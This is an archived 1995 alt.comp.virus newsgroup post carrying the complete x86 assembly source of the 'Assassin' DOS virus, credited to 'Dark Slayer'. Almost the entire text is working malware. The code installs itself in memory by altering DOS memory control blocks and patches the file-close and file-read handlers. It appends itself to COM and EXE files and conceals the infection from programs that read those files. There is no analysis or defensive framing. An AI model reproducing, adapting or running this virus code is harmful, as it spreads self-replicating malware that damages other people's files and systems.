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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.assassin.asm

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From netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp Sat Jan 14 12:10:08 1995
Xref: netcom.com alt.comp.virus:961
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp
From: scottjp@grin.io.org (h0m3r s3xu4l)
Newsgroups: alt.comp.virus
Subject: Assassin source code
Date: 9 Jan 1995 21:10:06 GMT
Organization: Internex Online, Toronto, Ontario, Canada (416 363 3783)
Lines: 539
Message-ID: <3es8ne$c9i@ionews.io.org>
NNTP-Posting-Host: grin.io.org
X-Newsreader: TIN [version 1.2 PL2]
; Assassin (Bug Fix version)
; by Dark Slayer
mem_size equ offset memory_end-offset start
mem_para equ (mem_size+0fh)/10h
low_mem_size equ mem_size+100h
low_mem_para equ (low_mem_size+0fh)/10h
vir_size equ offset vir_end-offset start
vir_sector equ (vir_size+1ffh+2)/200h
constant_size equ offset constant-offset start
.model tiny
.code
org 0
start:
xor di,di
mov dx,ds:[di+2]
sub dh,5
mov ah,26h
int 21h
mov bp,ds:[di+2ch]
mov ah,4ah
mov bx,low_mem_para
int 21h
mov ah,52h
int 21h
mov bx,es:[bx-2]
mov ax,cs
dec ax
mcb:
mov cx,ds
mov ds,bx
inc bx
mov dx,bx
add bx,ds:[di+3]
or bp,bp
jnz not_boot
cmp ax,bx
jne not_our_mcb
add word ptr ds:[di+3],low_mem_para+1
not_our_mcb:
cmp ax,cx
jne not_boot
mov ds:[di+1],dx
mov di,8
push ds
pop es
mov si,di
mov ds,ax
mov cx,di
rep movsb
push dx
add ax,10h+1
push ax
jmp short search
not_boot:
cmp byte ptr ds:[di],4dh
je mcb
cmp byte ptr ds:[di],5ah
je mcb
mov sp,low_mem_size
sub dx,mem_para+1
mov es,dx
sub dx,cx
dec dx
mov ds,cx
mov ds:[di+3],dx
mov si,100h
mov cx,vir_size
rep movs byte ptr es:[di],cs:[si]
push es
search:
mov ax,352ah
int 21h
pop ds
push ds
mov di,offset i21_table
mov ds:old2a[di]-i21_table,bx
mov ds:old2a[di+2]-i21_table,es
mov ah,25h
mov dx,offset int2a
int 21h
mov dx,bx
push es
pop ds
int 21h
pop es
lds si,es:[di]
search_table:
lodsw
search_table_:
dec si
cmp ax,8b2eh
jne search_table
lodsw
cmp ah,9fh
jne search_table_
movsw
scasw
lea ax,[si-1e0h]
stosw
xchg si,ax
mov word ptr ds:[si],0eacbh
mov word ptr ds:[si+2],offset i21_3e
mov ds:[si+4],es
mov byte ptr ds:[si+6],0eah
mov word ptr ds:[si+7],offset i21_3f
mov ds:[si+9],es
call set21
mov cx,bp
jcxz boot
mov ds,bp
xor si,si
l2:
lodsw
dec si
or ax,ax
jnz l2
lea dx,[si+3]
mov di,offset pcb+4+100h
push cs
pop es
mov ax,cs
stosw
scasw
stosw
scasw
stosw
mov ax,4b00h
mov bx,offset pcb+100h
int 21h
mov ah,4dh
int 21h
mov ah,4ch
int 21h
boot:
pop dx
mov ah,26h
int 21h
mov bl,3
mov ss:[bp+18h+5],bl
mov ax,1216h
int 2fh
inc bp
mov es:[di],bp
mov ss,dx
mov ds,dx
mov ax,4200h
mov bl,5
cwd
int 21h
mov ah,3fh
dec cx
inc dh
int 21h
mov ah,3eh
int 21h
push ds
pop es
push ds
push dx
retf
read_cmp proc
mov cx,vir_size
mov dx,cx
push cs
pop ds
call read
jc rc_exit
push cx
xor si,si
if (vir_size and 0ff00h) eq (constant_size and 0ff00h)
mov cl,constant_size and 0ffh
else
mov cx,constant_size
endif
compare:
lodsb
cmp al,ds:read_buffer[si-1]
loope compare
clc
pop cx
rc_exit:
ret
read_cmp endp
read proc
push bx
push dx
push ds
mov ax,1229h
int 2fh
pop ds
pop dx
pop bx
ret
read endp
write proc
mov bp,40h*2
i21_func proc
pop ax
push bx
push cs
push ax
push cs
pop ds
push ds:i21_far_jmp
les di,dword ptr ds:i21_table
push es
push es:[di+bp]
retf
i21_func endp
write endp
set2324_restore21 proc
push ds
mov si,23h*4
xor ax,ax
mov ds,ax
mov di,offset old23
push cs
pop es
mov ax,offset int23
mov bp,2
sm_23_1:
movsw
mov ds:[si-2],ax
movsw
mov ds:[si-2],cs
if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h)
mov al,(offset int24-offset start) and 0ffh
else
mov ax,offset int24
endif
dec bp
jnz sm_23_1
mov si,di
push cs
pop ds
mov bp,-4
rs_1:
inc bp
inc bp
les di,dword ptr ds:i21_table
mov di,es:[di+bp+2+3eh*2]
movsb
movsw
jnz rs_1
pop ds
pop bp
pop ax
push es
push ax
get_sft proc
push bx
mov ax,1220h
int 2fh
mov bl,es:[di]
mov ax,1216h
int 2fh
pop bx
jmp bp
get_sft endp
set2324_restore21 endp
set21_restore23 proc
mov si,offset old23
push cs
pop ds
mov di,23h*4
xor cx,cx
mov es,cx
mov cl,4
rep movsw
push cs
pop es
set21 proc ; es = vir segment
push ax
mov bx,-4
mov di,offset i21_3e_data
mov cx,es:i21_far_jmp[di]-i21_3e_data
inc cx
sm_1:
inc bx
lds si,dword ptr es:i21_table
mov ax,ds:[si+bx+3+3eh*2]
mov si,ax
movsb
movsw
xchg si,ax
sub ax,cx
neg ax
mov byte ptr ds:[si],0e9h
mov ds:[si+1],ax
add cx,5
inc bx
jnz sm_1
pop ax
ret
set21 endp
set21_restore23 endp
i21_3e:
call set2324_restore21
jc jc_exit
push es
pop ds
cmp word ptr ds:[di],1
jne jne_exit
les ax,dword ptr ds:[di+28h]
mov dx,es
cmp ax,'OC'
jne exe
mov al,'M'
jmp short com
exe:
cmp ax,'XE'
jne jne_exit
com:
cmp dl,al
jne_exit:
jne jne_exit_
les ax,dword ptr ds:[di+11h]
cmp ax,vir_size
jc_exit:
jb jc_exit_
cmp ax,0ffffh-(vir_size+2)
ja jne_exit_
mov dx,es
or dx,dx
jne_exit_:
jnz i21_3e_exit
mov ds:[di+15h],dx
mov ds:[di+17h],dx
les si,dword ptr ds:[di+7]
les si,dword ptr es:[si+2]
add ax,si
dec ax
div si
mov cx,es
inc cx
div cl
or ah,ah
jz i21_3e_exit
sub cl,ah
cmp cl,vir_sector
jc_exit_:
jb i21_3e_exit
les ax,ds:[di+4]
push ax
push es
and ax,1000000000011100b
jnz close_
mov byte ptr ds:[di+2],2
mov ds:[di+4],al
call read_cmp
jbe close
mov si,cx
cmp_device:
dec si
lodsw
inc ax
loopnz cmp_device
jcxz not_device
dec ax
cmp ax,ds:[si]
je close
jmp short cmp_device
not_device:
mov ax,es:[di+11h]
mov es:[di+15h],ax
mov cx,vir_size+2
mov dx,offset id
call write
pop bx
jc close
sub es:[di+11h],ax
dec cx
dec cx
cwd
mov es:[di+15h],dx
call write
pop bx
close:
push es
pop ds
close_:
pop ds:[di+6]
pop ds:[di+4]
mov bp,0dh*2
call i21_func
pop bx
i21_3e_exit:
mov ax,1227h
int 2fh
jmp i21_3f_exit
i21_3f:
call set2324_restore21
les ax,dword ptr es:[di+15h]
push ax
push es
call read
pop bp
pop si
cmc
jnc jnc_exit
test word ptr es:[di+4],1000000000011000b
jnz jnz_3f_exit
or bp,bp
jnz_3f_exit:
jnz i21_3f_exit
sub si,vir_size
jnc_exit:
jae i21_3f_exit
xor cx,cx
xchg cx,es:[di+15h]
push cx
xor cx,cx
xchg cx,es:[di+17h]
push cx
push ax
push si
push dx
push ds
call read_cmp
pop ds
pop dx
jc i21_3f_exit_1
jne i21_3f_exit_1
push dx
push ds
push es
pop ds
mov ax,ds:[di+11h]
mov ds:[di+15h],ax
add word ptr ds:[di+11h],vir_size+2
mov cl,2
mov dx,offset read_buffer
push cs
pop ds
call read
pop ds
pop dx
jc i21_3f_exit_2
cmp word ptr cs:read_buffer,'SD'
je i21_3f_l0
mov ax,1218h
int 2fh
or byte ptr ds:[si+16h],1
jmp short i21_3f_exit_2
i21_3f_l0:
pop si
neg si
mov ax,es:[di+11h]
sub ax,si
mov es:[di+15h],ax
pop cx
push cx
push cx
cmp cx,si
jb i21_3f_l1
mov cx,si
i21_3f_l1:
call read
i21_3f_exit_2:
sub word ptr es:[di+11h],vir_size+2
i21_3f_exit_1:
pop ax
pop ax
pop es:[di+17h]
pop es:[di+15h]
i21_3f_exit:
call set21_restore23
push ax
mov ax,1218h
int 2fh
mov ax,ds:[si+16h]
shr ax,1
pop ax
mov ds:[si],ax
retf
int23:
call set21_restore23
jmp dword ptr cs:old23
int24:
xor ax,ax
iret
int2a:
pop cs:i21_table
pop cs:i21_table[2]
sub sp,4
jmp dword ptr cs:old2a
msg db ' This is [Assassin] written by Dark Slayer '
db 'in Keelung. Taiwan <R.O.C> '
constant:
pcb dw 0,80h,?,5ch,?,6ch,?
id db 'DS'
vir_end:
read_buffer db vir_size dup(?)
old2a dw ?,?
old23 dw ?,?
old24 dw ?,?
i21_3e_data db 3 dup(?)
i21_3f_data db 3 dup(?)
i21_table dw ?,?
i21_far_jmp dw ?
memory_end:
end start

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